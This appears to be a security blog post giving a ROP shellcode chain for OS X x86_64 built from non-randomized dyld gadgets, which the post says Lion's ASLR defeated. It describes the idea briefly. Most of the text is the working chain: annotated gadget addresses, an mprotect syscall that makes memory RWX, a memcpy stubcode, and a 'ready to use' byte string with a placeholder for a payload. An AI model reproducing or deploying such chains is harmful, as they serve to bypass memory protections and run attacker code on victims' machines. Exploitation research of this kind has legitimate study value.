This technique was killed by OSX Lion 10.7 with full ASLR. @pa_kt has posted an Universal ROP shellcode for OS X x64 with detail steps and explanation. If you don’t have a chance to read above post, the basic ideas are:
- Copy stubcode to a writable area (.data section)
- Make that area RWX
- Jump to RWX area and execute stubcode
- Stubcode will transfer normal shellcode to RWX area and execute it
- All the ROP gadgets are from dyld module which is not randomized
In this post, we shows another OSX x86_64 dyld ROP shellcode which is more simple. We employ the same ideas with some minor differences in implementation:
- Instead of using long gadgets with “leave”, we use direct, short gadgets from unintended code
- Calling mprotect() via syscall
- Short stubcode (7 bytes) using memcpy() to transfer payload
Here is the ROP shellcode with explanation:
# store [target], stubcode 0x00007fff5fc0e7ee # pop rsi ; adc al 0x83 0xc353575e545a5b90 # => rsi = stubcode 0x00007fff5fc24cdc # pop rdi 0x00007fff5fc74f80 # => rdi 0x00007fff5fc24d26 # mov [rdi+0x80] rsi; stubcode => [target] # load rdx, 0x7 (prot RWX) 0x00007fff5fc24cdc # pop rdi 0x00007fff5fc75001 # => rdi 0x00007fff5fc1ddc0 # lea rax, [rdi-0x1] 0x00007fff5fc219c3 # pop rbp ; add [rax] al ; add cl cl 0x00007fff5fc75000 # => rbp 0x00007fff5fc0e7ee # pop rsi ; adc al 0x83 0x0000000000000007 # => rsi 0x00007fff5fc14149 # mov edx esi ; add [rax] al ; add [rbp+0x39] cl => rdx = 0x7 # load rsi, 4096 (size) 0x00007fff5fc0e7ee # pop rsi ; adc al 0x83 0x0000000000001000 # => rsi = 4096 # load rax, mprotect_syscal 0x00007fff5fc24cdc # pop rdi 0x000000000200004b # => rdi 0x00007fff5fc1ddc0 # lea rax, [rdi-0x1] => rax = 0x200004a (mprotect syscall) # load rdi, target 0x00007fff5fc24cdc # pop rdi 0x00007fff5fc75000 # => rdi = target # syscall 0x00007fff5fc1c76d # mov r10, rcx; syscall => mprotect(target, 4096, 7) 0x00007fff5fc75000 # jump to target, execute stubcode # stubcode # 5B pop rbx # rbx -> memcpy() # 5A pop rdx # rdx -> size # 54 push rsp # src -> &shellcode # 5E pop rsi # src -> &shellcode # 57 push rdi # jump to target when return from memcpy() # 53 push rbx # memcpy() # C3 ret # execute memcpy(target, &shellcode, size) 0x00007fff5fc234f0 # &memcpy() 0x0000000000000200 # shellcode size = 512 <your shellcode here>
You can verify those gadgets and find more here: http://goo.gl/p35vY
Ready to use shellcode:
"xeexe7xc0x5fxffx7fx00x00x90x5bx5ax54x5ex57x53xc3" "xdcx4cxc2x5fxffx7fx00x00x80x4fxc7x5fxffx7fx00x00" "x26x4dxc2x5fxffx7fx00x00xdcx4cxc2x5fxffx7fx00x00" "x01x50xc7x5fxffx7fx00x00xc0xddxc1x5fxffx7fx00x00" "xc3x19xc2x5fxffx7fx00x00x00x50xc7x5fxffx7fx00x00" "xeexe7xc0x5fxffx7fx00x00x07x00x00x00x00x00x00x00" "x49x41xc1x5fxffx7fx00x00xeexe7xc0x5fxffx7fx00x00" "x00x10x00x00x00x00x00x00xdcx4cxc2x5fxffx7fx00x00" "x4bx00x00x02x00x00x00x00xc0xddxc1x5fxffx7fx00x00" "xdcx4cxc2x5fxffx7fx00x00x00x50xc7x5fxffx7fx00x00" "x6dxc7xc1x5fxffx7fx00x00x00x50xc7x5fxffx7fx00x00" "xf0x34xc2x5fxffx7fx00x00x00x02x00x00x00x00x00x00"